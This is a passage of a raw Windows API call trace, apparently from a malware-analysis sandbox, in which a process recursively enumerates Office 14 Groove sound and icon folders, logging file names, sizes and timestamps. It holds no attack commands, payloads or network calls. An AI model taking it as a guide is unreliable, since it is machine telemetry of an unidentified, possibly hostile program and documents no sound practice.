ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="WHISTL~1.WAV")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="WHISTL~1.WAV")) returned 0 [0201.821] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0201.823] GetProcessHeap () returned 0x550000 [0201.823] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0201.823] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0201.823] GetProcessHeap () returned 0x550000 [0201.823] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0201.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0201.920] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.920] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0201.920] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUZZ.WAV", cAlternateFileName="")) returned 1 [0201.920] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd686, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0201.921] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADAR.WAV", cAlternateFileName="")) returned 1 [0201.921] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOT.WAV", cAlternateFileName="")) returned 1 [0201.921] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIBE.WAV", cAlternateFileName="")) returned 1 [0201.921] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 1 [0201.921] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WARN.WAV", cAlternateFileName="")) returned 0 [0201.921] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0201.922] GetProcessHeap () returned 0x550000 [0201.922] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0201.922] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0201.923] GetProcessHeap () returned 0x550000 [0201.923] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0201.923] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAN.WAV", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUPLER.WAV", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa412, dwReserved0=0x0, dwReserved1=0x0, cFileName="HORN.WAV", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOT.WAV", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHOVEL.WAV", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xedd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPLASH.WAV", cAlternateFileName="")) returned 1 [0202.151] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0202.152] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 0 [0202.152] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0202.153] GetProcessHeap () returned 0x550000 [0202.153] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0202.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0202.153] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0202.153] GetProcessHeap () returned 0x550000 [0202.153] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0202.153] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0202.153] GetProcessHeap () returned 0x550000 [0202.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0202.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0202.359] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.368] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0202.368] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="CALEND~1.BMP")) returned 1 [0202.368] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImages.bmp", cAlternateFileName="CHESSI~1.BMP")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImagesMask.bmp", cAlternateFileName="CHESSI~2.BMP")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImage.jpg", cAlternateFileName="CREATE~1.JPG")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImageMask.bmp", cAlternateFileName="CREATE~1.BMP")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImages.jpg", cAlternateFileName="DATALI~1.JPG")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImagesMask.bmp", cAlternateFileName="DATALI~1.BMP")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImages.jpg", cAlternateFileName="DATAVI~1.JPG")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImagesMask.bmp", cAlternateFileName="DATAVI~1.BMP")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImage.jpg", cAlternateFileName="FORM_S~1.JPG")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImageMask.bmp", cAlternateFileName="FORM_S~1.BMP")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIP.JPG", cAlternateFileName="")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIPMASK.BMP", cAlternateFileName="")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, 